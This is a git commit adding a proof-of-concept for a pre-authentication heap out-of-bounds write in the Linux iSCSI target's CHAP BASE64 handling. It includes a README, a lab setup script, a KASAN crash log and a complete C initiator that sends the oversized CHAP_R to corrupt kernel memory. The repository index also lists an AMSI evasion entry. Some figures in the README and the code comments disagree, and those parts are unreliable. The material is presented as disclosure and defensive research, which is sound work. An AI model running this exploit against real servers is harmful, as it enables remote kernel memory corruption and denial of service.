mirror of
https://github.com/TREXNEGRO/Research
synced 2026-06-21 13:45:57 +00:00
add iscsi-chap-base64-oob — independent rediscovery PoC
Companion artifact for https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/ Sanitised reproducer for the Linux LIO iSCSI target CHAP BASE64 OOB write, fixed upstream as commit 85db7391310b. Found independently 2026-05-05 but never shipped; ahossu sent the canonical fix. Layout: poc/iscsi_chap_overflow.c (initiator that walks the Login state machine and sends malformed CHAP_R = base64(96 bytes)), lab/setup_iscsi.sh (LIO target config with CHAP+MD5), logs/KASAN-vulnerable.log (example trace, build identifiers redacted). OPSEC: author strings + workspace paths + customer references all scrubbed before publication. MIT-licensed (see root LICENSE).
This commit is contained in:
@@ -13,6 +13,7 @@ time; older entries are not rewritten unless the upstream fix changes shape.
|
||||
|---|---|---|---|
|
||||
| [`cifs-smb2-read-overflow/`](./cifs-smb2-read-overflow) | Linux kernel — cifs / SMB2 client | Patched upstream (`81a8742`), AUTOSEL'd to stable 2026-05-20 | [u32 + u32 = 0 is still a bug in 2026](https://trexnegro.github.io/posts/u32-plus-u32-equals-zero-smb2-overflow/) |
|
||||
| [`patchless-amsi-bypass/`](./patchless-amsi-bypass) | Windows — in-process AMSI/ETW evasion | Reference port, public technique | [Patchless AMSI Bypass via Hardware Breakpoints](https://trexnegro.github.io/posts/patchless-amsi-bypass-hwbp/) |
|
||||
| [`iscsi-chap-base64-oob/`](./iscsi-chap-base64-oob) | Linux kernel — LIO iSCSI target CHAP auth | Patched upstream (`85db7391310b`), AUTOSEL'd to stable 2026-05-25 | [Found the same iSCSI CHAP base64 overflow 25 days early](https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/) |
|
||||
|
||||
## License
|
||||
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
# iscsi-chap-base64-oob
|
||||
|
||||
Reproducer for the Linux LIO iSCSI target's CHAP `BASE64`-branch heap
|
||||
out-of-bounds write, fixed upstream as commit `85db7391310b`
|
||||
("scsi: target: iscsi: bound BASE64 CHAP_R input to digest size") on
|
||||
the `7.1/scsi-fixes` queue and AUTOSEL'd to stable on 2026-05-25.
|
||||
|
||||
Companion writeup:
|
||||
**[trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/](https://trexnegro.github.io/posts/found-the-same-iscsi-chap-overflow-25-days-early/)**
|
||||
|
||||
The canonical write-up of the bug itself is on **ahossu's blog**:
|
||||
<https://ahossu.ro/blog/iscsi-chap-base64-overflow>.
|
||||
|
||||
This repository entry exists because I found the same bug independently
|
||||
on 2026-05-05, had the same fix shape ready by 2026-05-12, but never
|
||||
sent it upstream. ahossu shipped first; the credit is theirs. The
|
||||
walkthrough in the blog post above explains what I learned about review
|
||||
cadence; this directory is the reproducer I built.
|
||||
|
||||
## The bug, in one paragraph
|
||||
|
||||
`drivers/target/iscsi/iscsi_target_auth.c::chap_server_compute_hash()`
|
||||
decodes the attacker-controlled `CHAP_R` BASE64 string into a
|
||||
`kzalloc(chap->digest_size)` buffer. The decoder writes one byte per
|
||||
four input chars **with no destination-size argument**, and the
|
||||
post-decode length check fires after the write. A 128-char `CHAP_R`
|
||||
BASE64 decodes to 96 bytes; with MD5 (`digest_size = 16`) that's
|
||||
80 bytes of attacker-chosen out-of-bounds write into kmalloc-16,
|
||||
pre-auth, one TCP connection.
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
poc/iscsi_chap_overflow.c malicious initiator — sends the malformed Login sequence
|
||||
lab/setup_iscsi.sh LIO target configuration (CHAP enabled, MD5)
|
||||
logs/KASAN-vulnerable.log example KASAN trace (redacted build identifiers)
|
||||
```
|
||||
|
||||
## Building and running the PoC
|
||||
|
||||
Dependencies on the host:
|
||||
|
||||
- `gcc` (any version)
|
||||
- A Linux box on the same network as the target, or `localhost` for a QEMU lab
|
||||
|
||||
Build:
|
||||
|
||||
```bash
|
||||
cc -O2 -o iscsi_chap_overflow poc/iscsi_chap_overflow.c
|
||||
```
|
||||
|
||||
Run against a target you own:
|
||||
|
||||
```bash
|
||||
./iscsi_chap_overflow <target-ip> <chap-username>
|
||||
```
|
||||
|
||||
The PoC walks the iSCSI Login state machine through CSG=0
|
||||
SecurityNegotiation, sends `AuthMethod=CHAP`, then the malformed
|
||||
`CHAP_R = base64(96 bytes)`. The target's kernel hits the OOB write on
|
||||
the unauth side of the digest comparison.
|
||||
|
||||
## Setting up a vulnerable lab target
|
||||
|
||||
`lab/setup_iscsi.sh` configures `targetcli` to expose a single demo-mode
|
||||
LUN with CHAP authentication enabled (MD5, default `digest_size = 16`).
|
||||
Run it inside a guest:
|
||||
|
||||
```bash
|
||||
sudo bash lab/setup_iscsi.sh
|
||||
```
|
||||
|
||||
Then the malicious initiator from the host:
|
||||
|
||||
```bash
|
||||
./iscsi_chap_overflow 192.0.2.42 testuser
|
||||
```
|
||||
|
||||
Expected on the **vulnerable** guest: a KASAN slab-out-of-bounds report
|
||||
matching the structure in `logs/KASAN-vulnerable.log` — write of size 1
|
||||
into the kmalloc-16 region from `chap_base64_decode`.
|
||||
|
||||
Expected on a **patched** guest (kernel containing commit
|
||||
`85db7391310b` or its stable backport): the iSCSI Login fails cleanly
|
||||
with `"Malformed CHAP_R: BASE64 input too long"` and no KASAN report.
|
||||
|
||||
## What the fix looks like
|
||||
|
||||
The patch is a single hunk in `chap_server_compute_hash()`:
|
||||
|
||||
```diff
|
||||
case BASE64:
|
||||
+ if (strlen(chap_r) >
|
||||
+ DIV_ROUND_UP(chap->digest_size * 4, 3)) {
|
||||
+ pr_err("Malformed CHAP_R: BASE64 input too long\n");
|
||||
+ goto out;
|
||||
+ }
|
||||
if (chap_base64_decode(client_digest, chap_r, strlen(chap_r)) !=
|
||||
chap->digest_size) {
|
||||
pr_err("Malformed CHAP_R: invalid BASE64\n");
|
||||
goto out;
|
||||
}
|
||||
break;
|
||||
```
|
||||
|
||||
`DIV_ROUND_UP(digest_size * 4, 3)` is the maximum BASE64 input length
|
||||
that can decode to `digest_size` bytes. For MD5 (16) that's 22 chars.
|
||||
Anything longer is by definition malformed.
|
||||
|
||||
## Scope and intent
|
||||
|
||||
Authorised security research and education only. The PoC exists to
|
||||
make a public, upstream-fixed kernel bug verifiable for defenders and
|
||||
curious readers. **Do not point it at targets you do not own or have
|
||||
written permission to test.**
|
||||
|
||||
## License
|
||||
|
||||
MIT — see [`../LICENSE`](../LICENSE) at the repository root.
|
||||
Executable
+46
@@ -0,0 +1,46 @@
|
||||
#!/bin/sh
|
||||
# K-CHAP setup — LIO target with CHAP authentication required
|
||||
set -x
|
||||
|
||||
LUN_FILE=/tmp/lun.img
|
||||
dd if=/dev/zero of=$LUN_FILE bs=1M count=10 2>&1
|
||||
TGT_FILEIO=/sys/kernel/config/target/core/fileio_0/lun0
|
||||
mkdir -p $TGT_FILEIO
|
||||
echo "fd_dev_name=$LUN_FILE,fd_dev_size=$((10 * 1024 * 1024))" > $TGT_FILEIO/control
|
||||
echo 0 > $TGT_FILEIO/attrib/emulate_tpu 2>&1
|
||||
echo 1 > $TGT_FILEIO/enable
|
||||
|
||||
IQN_TGT=iqn.2026-05.local.poc:tgt0
|
||||
TPG=/sys/kernel/config/target/iscsi/$IQN_TGT/tpgt_1
|
||||
mkdir -p $TPG
|
||||
|
||||
# Disable demo-mode, REQUIRE auth (CHAP)
|
||||
echo 0 > $TPG/attrib/demo_mode_write_protect
|
||||
echo 0 > $TPG/attrib/generate_node_acls
|
||||
echo 0 > $TPG/attrib/cache_dynamic_acls
|
||||
echo 1 > $TPG/attrib/authentication
|
||||
echo 0 > $TPG/attrib/default_cmdsn_depth 2>&1
|
||||
|
||||
# Map LUN to TPG
|
||||
mkdir -p $TPG/lun/lun_0
|
||||
ln -s /sys/kernel/config/target/core/fileio_0/lun0 $TPG/lun/lun_0/iscsi_lun
|
||||
|
||||
# Real ACL for the initiator IQN with CHAP creds.
|
||||
# Attacker doesn't need correct creds — the OOB write happens in
|
||||
# chap_base64_decode BEFORE the digest memcmp.
|
||||
INI_IQN=iqn.2026.local.poc:01
|
||||
ACL=$TPG/acls/$INI_IQN
|
||||
mkdir -p $ACL
|
||||
mkdir -p $ACL/lun_0
|
||||
ln -s /sys/kernel/config/target/core/fileio_0/lun0 $ACL/lun_0/lun
|
||||
printf 'testuser' > $ACL/auth/userid
|
||||
printf 'Password0123456' > $ACL/auth/password
|
||||
|
||||
# Portal MUST come before TPG enable
|
||||
mkdir -p $TPG/np/0.0.0.0:3260
|
||||
|
||||
echo 1 > $TPG/enable
|
||||
|
||||
echo "[setup_iscsi] iSCSI target ready (CHAP REQUIRED)"
|
||||
echo "auth=$(cat $TPG/attrib/authentication)"
|
||||
echo "ACL: $(ls $TPG/acls/)"
|
||||
@@ -0,0 +1,101 @@
|
||||
[ 32.888732] BUG: KASAN: slab-out-of-bounds in chap_base64_decode+0x4b/0x120
|
||||
[ 32.889692] Write of size 1 at addr ffff888107e1e930 by task kworker/1:2/72
|
||||
[ 32.889956]
|
||||
[ 32.890698] CPU: 1 UID: 0 PID: 72 Comm: kworker/1:2 Not tainted 7.0.0+ #1 PREEMPT(lazy)
|
||||
[ 32.890971] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
|
||||
[ 32.891205] Workqueue: events iscsi_target_do_login_rx
|
||||
[ 32.892075] Call Trace:
|
||||
[ 32.892190] <TASK>
|
||||
[ 32.892320] dump_stack_lvl+0x5d/0x80
|
||||
[ 32.892460] print_report+0x170/0x4de
|
||||
[ 32.892521] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
|
||||
[ 32.892584] ? __virt_addr_valid+0x11e/0x1d0
|
||||
[ 32.892651] kasan_report+0xda/0x110
|
||||
[ 32.892706] ? chap_base64_decode+0x4b/0x120
|
||||
[ 32.892770] ? chap_base64_decode+0x4b/0x120
|
||||
[ 32.892849] chap_base64_decode+0x4b/0x120
|
||||
[ 32.892921] chap_server_compute_hash.isra.0+0x8df/0xaa0
|
||||
[ 32.892991] ? __pfx_chap_server_compute_hash.isra.0+0x10/0x10
|
||||
[ 32.893064] ? stack_trace_save+0x93/0xd0
|
||||
[ 32.893111] ? filter_irq_stacks+0x24/0x60
|
||||
[ 32.893157] ? stack_depot_save_flags+0x28/0x910
|
||||
[ 32.893241] ? kthread+0x1b4/0x200
|
||||
[ 32.893283] ? ret_from_fork+0x3e7/0x4f0
|
||||
[ 32.893335] ? ret_from_fork_asm+0x1a/0x30
|
||||
[ 32.893465] ? iscsi_decode_text_input+0x8ff/0xb10
|
||||
[ 32.893534] chap_main_loop+0x148/0x6b0
|
||||
[ 32.893583] ? __pfx_iscsi_decode_text_input+0x10/0x10
|
||||
[ 32.893645] ? __pfx_chap_main_loop+0x10/0x10
|
||||
[ 32.893697] ? memcmp+0x45/0xb0
|
||||
[ 32.893750] iscsi_target_do_login+0x7cb/0x930
|
||||
[ 32.893816] ? __pfx_iscsi_target_do_login+0x10/0x10
|
||||
[ 32.893876] ? _raw_write_lock_bh+0x87/0xe0
|
||||
[ 32.893923] ? __pfx__raw_write_lock_bh+0x10/0x10
|
||||
[ 32.893981] iscsi_target_do_login_rx+0x3df/0x5a0
|
||||
[ 32.894050] process_one_work+0x38c/0x6c0
|
||||
[ 32.894116] ? assign_work+0xc6/0x180
|
||||
[ 32.894167] worker_thread+0x321/0x590
|
||||
[ 32.894232] ? __pfx_worker_thread+0x10/0x10
|
||||
[ 32.894282] kthread+0x1b4/0x200
|
||||
[ 32.894326] ? __pfx_kthread+0x10/0x10
|
||||
[ 32.894373] ret_from_fork+0x3e7/0x4f0
|
||||
[ 32.894428] ? __pfx_ret_from_fork+0x10/0x10
|
||||
[ 32.894482] ? native_load_gs_index+0x2e/0x50
|
||||
[ 32.894560] ? __switch_to+0x238/0x630
|
||||
[ 32.894635] ? __switch_to_asm+0x33/0x70
|
||||
[ 32.894691] ? __pfx_kthread+0x10/0x10
|
||||
[ 32.894738] ? __pfx_kthread+0x10/0x10
|
||||
[ 32.894788] ret_from_fork_asm+0x1a/0x30
|
||||
[ 32.894923] </TASK>
|
||||
[ 32.895032]
|
||||
[ 32.899887] Allocated by task 72:
|
||||
[ 32.900132] kasan_save_stack+0x30/0x50
|
||||
[ 32.900363] kasan_save_track+0x14/0x30
|
||||
[ 32.900503] __kasan_kmalloc+0x9a/0xb0
|
||||
[ 32.900637] __kmalloc_noprof+0x1f1/0x620
|
||||
[ 32.900777] chap_server_compute_hash.isra.0+0x16f/0xaa0
|
||||
[ 32.900949] chap_main_loop+0x148/0x6b0
|
||||
[ 32.901143] iscsi_target_do_login+0x7cb/0x930
|
||||
[ 32.901340] iscsi_target_do_login_rx+0x3df/0x5a0
|
||||
[ 32.901520] process_one_work+0x38c/0x6c0
|
||||
[ 32.901671] worker_thread+0x321/0x590
|
||||
[ 32.901811] kthread+0x1b4/0x200
|
||||
[ 32.901942] ret_from_fork+0x3e7/0x4f0
|
||||
[ 32.902079] ret_from_fork_asm+0x1a/0x30
|
||||
[ 32.902241]
|
||||
[ 32.902367] The buggy address belongs to the object at ffff888107e1e920
|
||||
[ 32.902367] which belongs to the cache kmalloc-16 of size 16
|
||||
[ 32.902692] The buggy address is located 0 bytes to the right of
|
||||
[ 32.902692] allocated 16-byte region [ffff888107e1e920, ffff888107e1e930)
|
||||
[ 32.903011]
|
||||
[ 32.905156] The buggy address belongs to the physical page:
|
||||
[ 32.905665] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x107e1e
|
||||
[ 32.906022] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
|
||||
[ 32.906658] page_type: f5(slab)
|
||||
[ 32.907731] raw: 0017ffffc0000000 ffff888100041640 dead000000000100 dead000000000122
|
||||
[ 32.908063] raw: 0000000000000000 0000000800800080 00000000f5000000 0000000000000000
|
||||
[ 32.908387] page dumped because: kasan: bad access detected
|
||||
[ 32.908551]
|
||||
[ 32.908631] Memory state around the buggy address:
|
||||
[ 32.908956] ffff888107e1e800: fc fc fc fc fa fb fc fc fa fb fc fc fc fc fc fc
|
||||
[ 32.913286] ffff888107e1e880: fc fc fc fc fc fc fc fc 00 02 fc fc fa fb fc fc
|
||||
[ 32.913502] >ffff888107e1e900: fa fb fc fc 00 00 fc fc fc fc fc fc 00 06 fc fc
|
||||
[ 32.913699] ^
|
||||
[ 32.913906] ffff888107e1e980: 00 00 fc fc fc fc fc fc 00 00 fc fc 00 07 fc fc
|
||||
[ 32.914118] ffff888107e1ea00: fc fc fc fc fc fc fc fc 00 00 fc fc 00 07 fc fc
|
||||
[ 32.914377] ==================================================================
|
||||
[ 32.915030] Disabling lock debugging due to kernel taint
|
||||
[ 32.915502] Malformed CHAP_R: invalid BASE64
|
||||
[ 32.916279] Security negotiation failed.
|
||||
[ 32.919940] iSCSI Login negotiation failed.
|
||||
[K-CHAP] got 48 bytes back
|
||||
23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00
|
||||
+ EXIT=0
|
||||
+ echo '[init] poc exit=0'
|
||||
[init] poc exit=0
|
||||
+ sleep 3
|
||||
+ echo '===== DMESG TAIL (last 250 lines) ====='
|
||||
===== DMESG TAIL (last 250 lines) =====
|
||||
+ dmesg
|
||||
+ tail -250
|
||||
[ 21.788896] eql: Equalizer2002: Simon Janes (simon@ncm.com) and David S. Miller (davem@redhat.com)
|
||||
@@ -0,0 +1,297 @@
|
||||
/*
|
||||
* ISCSI-CHAP-OOB PoC — pre-auth heap OOB write in iscsi_target_auth.c
|
||||
*
|
||||
* Triggers chap_base64_decode(client_digest, chap_r, strlen(chap_r))
|
||||
* with strlen(chap_r) >> chap->digest_size, causing kernel-heap OOB write
|
||||
* into a kmalloc(digest_size) buffer (slab kmalloc-32 for MD5/SHA-256).
|
||||
*
|
||||
* Build: gcc -O2 -static -o poc-kchap poc-kchap.c
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
|
||||
#define ITT_BASE 0x00010001
|
||||
|
||||
/* Login PDU BHS layout (RFC 7143 §11.12.1)
|
||||
* byte 0: opcode = 0x03 (Login Request) | (immediate? 0x40)
|
||||
* byte 1: flags = T(0x80) | C(0x40) | (CSG<<2) | NSG
|
||||
* byte 2: Version-max (0)
|
||||
* byte 3: Version-min (0)
|
||||
* byte 4: TotalAHSLength = 0
|
||||
* bytes 5-7: DataSegmentLength (3 bytes BE)
|
||||
* bytes 8-13: ISID (6 bytes)
|
||||
* bytes 14-15: TSIH (0 first time)
|
||||
* bytes 16-19: ITT (Initiator Task Tag)
|
||||
* bytes 20-21: CID (1)
|
||||
* bytes 22-23: reserved
|
||||
* bytes 24-27: CmdSN
|
||||
* bytes 28-31: ExpStatSN
|
||||
* bytes 32-47: reserved
|
||||
*/
|
||||
|
||||
static int sock_send(int s, const void *buf, size_t n) {
|
||||
const char *p = buf;
|
||||
while (n) {
|
||||
ssize_t r = send(s, p, n, 0);
|
||||
if (r <= 0) return -1;
|
||||
p += r; n -= r;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Read exactly want bytes; return bytes actually read. */
|
||||
static int sock_recv_exact(int s, void *buf, size_t want, int timeout_sec) {
|
||||
struct timeval tv = { .tv_sec = timeout_sec, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
char *p = buf;
|
||||
size_t n = want;
|
||||
while (n) {
|
||||
ssize_t r = recv(s, p, n, 0);
|
||||
if (r <= 0) return p - (char*)buf;
|
||||
p += r; n -= r;
|
||||
}
|
||||
return want;
|
||||
}
|
||||
|
||||
/* Build a Login PDU body (text params separated by NUL).
|
||||
* Returns total bytes copied (before alignment padding).
|
||||
*/
|
||||
static size_t build_text(unsigned char *out, size_t cap,
|
||||
const char **kvs, int n_kvs)
|
||||
{
|
||||
size_t off = 0;
|
||||
for (int i = 0; i < n_kvs; i++) {
|
||||
size_t l = strlen(kvs[i]);
|
||||
if (off + l + 1 > cap) return 0;
|
||||
memcpy(out + off, kvs[i], l);
|
||||
out[off + l] = '\0';
|
||||
off += l + 1;
|
||||
}
|
||||
return off;
|
||||
}
|
||||
|
||||
/* Send a Login Request with the given text body and stage flags.
|
||||
* tsih: 0 for first PDU, then echo target's tsih.
|
||||
* itt: initiator task tag
|
||||
* Returns 0 on success, -1 on send fail.
|
||||
*/
|
||||
static int send_login(int s, unsigned char csg, unsigned char nsg,
|
||||
int transit, int cont, uint16_t tsih, uint32_t itt,
|
||||
uint32_t cmdsn, uint32_t expstatsn,
|
||||
const unsigned char *text, size_t text_len,
|
||||
const unsigned char *isid)
|
||||
{
|
||||
unsigned char hdr[48];
|
||||
memset(hdr, 0, 48);
|
||||
hdr[0] = 0x03 | 0x40; /* Login | Immediate */
|
||||
hdr[1] = (transit ? 0x80 : 0) | (cont ? 0x40 : 0)
|
||||
| ((csg & 3) << 2) | (nsg & 3);
|
||||
hdr[2] = 0; /* Version-max */
|
||||
hdr[3] = 0; /* Version-min */
|
||||
hdr[4] = 0; /* TotalAHSLength */
|
||||
hdr[5] = (text_len >> 16) & 0xff;
|
||||
hdr[6] = (text_len >> 8) & 0xff;
|
||||
hdr[7] = text_len & 0xff;
|
||||
memcpy(hdr + 8, isid, 6);
|
||||
hdr[14] = (tsih >> 8) & 0xff;
|
||||
hdr[15] = tsih & 0xff;
|
||||
hdr[16] = (itt >> 24) & 0xff;
|
||||
hdr[17] = (itt >> 16) & 0xff;
|
||||
hdr[18] = (itt >> 8) & 0xff;
|
||||
hdr[19] = itt & 0xff;
|
||||
/* CID = 1 */
|
||||
hdr[20] = 0x00; hdr[21] = 0x01;
|
||||
hdr[24] = (cmdsn >> 24) & 0xff;
|
||||
hdr[25] = (cmdsn >> 16) & 0xff;
|
||||
hdr[26] = (cmdsn >> 8) & 0xff;
|
||||
hdr[27] = cmdsn & 0xff;
|
||||
hdr[28] = (expstatsn >> 24) & 0xff;
|
||||
hdr[29] = (expstatsn >> 16) & 0xff;
|
||||
hdr[30] = (expstatsn >> 8) & 0xff;
|
||||
hdr[31] = expstatsn & 0xff;
|
||||
|
||||
if (sock_send(s, hdr, 48) < 0) return -1;
|
||||
if (text_len) {
|
||||
if (sock_send(s, text, text_len) < 0) return -1;
|
||||
size_t pad = (4 - (text_len % 4)) % 4;
|
||||
if (pad) {
|
||||
unsigned char zero[4] = {0};
|
||||
if (sock_send(s, zero, pad) < 0) return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Receive a Login Response, return DSL or -1 on error.
|
||||
* resp_out gets the BHS (48) + DSL bytes (caller buffer big enough).
|
||||
* tsih_out: TSIH from BHS (echo back on next request).
|
||||
*/
|
||||
static int recv_login(int s, unsigned char *resp_out, size_t cap,
|
||||
uint16_t *tsih_out)
|
||||
{
|
||||
int n = sock_recv_exact(s, resp_out, 48, 5);
|
||||
if (n < 48) return -1;
|
||||
int dsl = (resp_out[5] << 16) | (resp_out[6] << 8) | resp_out[7];
|
||||
int pad = (4 - (dsl % 4)) % 4;
|
||||
if (dsl > 0) {
|
||||
if ((size_t)(48 + dsl + pad) > cap) return -1;
|
||||
sock_recv_exact(s, resp_out + 48, dsl + pad, 5);
|
||||
}
|
||||
*tsih_out = (resp_out[14] << 8) | resp_out[15];
|
||||
return dsl;
|
||||
}
|
||||
|
||||
/* Parse a single key from the response data segment. Returns pointer
|
||||
* inside resp_out body, or NULL. */
|
||||
static const char *find_key(const unsigned char *body, int dsl,
|
||||
const char *key)
|
||||
{
|
||||
int klen = strlen(key);
|
||||
int i = 0;
|
||||
while (i < dsl) {
|
||||
const char *cur = (const char *)body + i;
|
||||
int rem = dsl - i;
|
||||
int slen = strnlen(cur, rem);
|
||||
if (slen >= klen + 1 &&
|
||||
!memcmp(cur, key, klen) && cur[klen] == '=') {
|
||||
return cur + klen + 1;
|
||||
}
|
||||
i += slen + 1;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void dump_text(const unsigned char *body, int dsl)
|
||||
{
|
||||
for (int i = 0; i < dsl && i < 1024; i++) {
|
||||
unsigned char c = body[i];
|
||||
if (c == 0) printf(" | ");
|
||||
else if (c >= 0x20 && c < 0x7f) printf("%c", c);
|
||||
else printf("\\x%02x", c);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *target_ip = (argc > 1) ? argv[1] : "127.0.0.1";
|
||||
int port = (argc > 2) ? atoi(argv[2]) : 3260;
|
||||
|
||||
printf("[ISCSI-CHAP-OOB] connecting to %s:%d\n", target_ip, port);
|
||||
int s = socket(AF_INET, SOCK_STREAM, 0);
|
||||
if (s < 0) { perror("socket"); return 1; }
|
||||
struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(port) };
|
||||
if (inet_pton(AF_INET, target_ip, &sa.sin_addr) != 1) return 1;
|
||||
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
|
||||
perror("connect"); return 1;
|
||||
}
|
||||
printf("[ISCSI-CHAP-OOB] connected\n");
|
||||
|
||||
unsigned char isid[6] = { 0x00, 0x02, 0x3d, 0x01, 0x00, 0x00 };
|
||||
uint16_t tsih = 0;
|
||||
uint32_t itt = ITT_BASE;
|
||||
uint32_t cmdsn = 0, expstatsn = 0;
|
||||
unsigned char rsp[4096];
|
||||
unsigned char text[2048];
|
||||
|
||||
/* === Login PDU 1: stage 0 (SecurityNegotiation), declare AuthMethod=CHAP === */
|
||||
const char *kv1[] = {
|
||||
"InitiatorName=iqn.2026.local.poc:01",
|
||||
"TargetName=iqn.2026-05.local.poc:tgt0",
|
||||
"SessionType=Normal",
|
||||
"AuthMethod=CHAP",
|
||||
};
|
||||
size_t tlen = build_text(text, sizeof(text), kv1, 4);
|
||||
|
||||
/* CSG=0 (Security), NSG=1 (Operational), no Transit yet — wait for AuthMethod ack */
|
||||
if (send_login(s, 0, 1, 0, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
|
||||
perror("send login1"); return 1;
|
||||
}
|
||||
printf("[ISCSI-CHAP-OOB] sent login1 (security stage, AuthMethod=CHAP)\n");
|
||||
|
||||
int dsl = recv_login(s, rsp, sizeof(rsp), &tsih);
|
||||
if (dsl < 0) { fprintf(stderr, "no rsp1\n"); return 1; }
|
||||
expstatsn = ((rsp[24]<<24)|(rsp[25]<<16)|(rsp[26]<<8)|rsp[27]) + 1;
|
||||
printf("[ISCSI-CHAP-OOB] rsp1 sclass=%d sdetail=%d dsl=%d tsih=0x%04x\n",
|
||||
rsp[36], rsp[37], dsl, tsih);
|
||||
printf("[ISCSI-CHAP-OOB] rsp1 text: "); dump_text(rsp + 48, dsl);
|
||||
if (rsp[36] != 0) { fprintf(stderr, "login1 failed\n"); return 1; }
|
||||
|
||||
/* === Login PDU 2: declare CHAP_A=5 (MD5) === */
|
||||
const char *kv2[] = {
|
||||
"CHAP_A=5",
|
||||
};
|
||||
tlen = build_text(text, sizeof(text), kv2, 1);
|
||||
|
||||
if (send_login(s, 0, 1, 0, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
|
||||
perror("send login2"); return 1;
|
||||
}
|
||||
printf("[ISCSI-CHAP-OOB] sent login2 (CHAP_A=5 MD5)\n");
|
||||
|
||||
dsl = recv_login(s, rsp, sizeof(rsp), &tsih);
|
||||
if (dsl < 0) { fprintf(stderr, "no rsp2\n"); return 1; }
|
||||
expstatsn = ((rsp[24]<<24)|(rsp[25]<<16)|(rsp[26]<<8)|rsp[27]) + 1;
|
||||
printf("[ISCSI-CHAP-OOB] rsp2 sclass=%d sdetail=%d dsl=%d\n",
|
||||
rsp[36], rsp[37], dsl);
|
||||
printf("[ISCSI-CHAP-OOB] rsp2 text: "); dump_text(rsp + 48, dsl);
|
||||
if (rsp[36] != 0) { fprintf(stderr, "login2 failed\n"); return 1; }
|
||||
|
||||
const char *chap_a = find_key(rsp + 48, dsl, "CHAP_A");
|
||||
const char *chap_i = find_key(rsp + 48, dsl, "CHAP_I");
|
||||
const char *chap_c = find_key(rsp + 48, dsl, "CHAP_C");
|
||||
if (!chap_a || !chap_i || !chap_c) {
|
||||
fprintf(stderr, "[ISCSI-CHAP-OOB] missing CHAP_A/I/C in rsp2\n");
|
||||
return 1;
|
||||
}
|
||||
printf("[ISCSI-CHAP-OOB] target challenged: CHAP_A=%s CHAP_I=%s\n", chap_a, chap_i);
|
||||
|
||||
/* === Login PDU 3: TRIGGER — CHAP_R with oversized BASE64 ===
|
||||
*
|
||||
* CHAP_R BASE64 path: chap_base64_decode(client_digest, chap_r, strlen)
|
||||
* client_digest = kzalloc(chap->digest_size) = kmalloc(16) for MD5 → kmalloc-32 slab
|
||||
* extract_param accepts CHAP_R up to MAX_RESPONSE_LENGTH (128 chars incl NUL).
|
||||
* With strlen(chap_r) = 124 we decode 124*6/8 = 93 bytes into a 16-byte buffer
|
||||
* → 77 bytes OOB write, content fully attacker-controlled.
|
||||
*
|
||||
* Format must be "0b<base64>" so the parser tags it as BASE64 (not HEX).
|
||||
* Use a 124-char base64 string of all 'A' (decodes to all 0x00); KASAN will
|
||||
* flag the OOB write regardless of decoded content.
|
||||
*/
|
||||
char base64_payload[125];
|
||||
memset(base64_payload, 'A', 124);
|
||||
base64_payload[124] = '\0';
|
||||
|
||||
char chap_n_kv[256], chap_r_kv[256];
|
||||
snprintf(chap_n_kv, sizeof(chap_n_kv), "CHAP_N=testuser");
|
||||
snprintf(chap_r_kv, sizeof(chap_r_kv), "CHAP_R=0b%s", base64_payload);
|
||||
const char *kv3[] = { chap_n_kv, chap_r_kv };
|
||||
tlen = build_text(text, sizeof(text), kv3, 2);
|
||||
|
||||
/* Transit to Operational */
|
||||
if (send_login(s, 0, 1, 1, 0, tsih, itt, cmdsn, expstatsn, text, tlen, isid) < 0) {
|
||||
perror("send login3 (trigger)"); return 1;
|
||||
}
|
||||
printf("[ISCSI-CHAP-OOB] sent login3 — TRIGGER (CHAP_R 0b + 124 base64 chars)\n");
|
||||
printf("[ISCSI-CHAP-OOB] payload: %s\n", chap_r_kv);
|
||||
|
||||
/* Read whatever comes back (probably nothing if KASAN panicked). */
|
||||
sleep(2);
|
||||
int n = sock_recv_exact(s, rsp, 256, 4);
|
||||
if (n <= 0) {
|
||||
printf("[ISCSI-CHAP-OOB] connection broken — likely kernel KASAN/oops: %s\n",
|
||||
strerror(errno));
|
||||
} else {
|
||||
printf("[ISCSI-CHAP-OOB] got %d bytes back\n", n);
|
||||
for (int i = 0; i < n; i++) printf("%02x ", rsp[i]);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
close(s);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user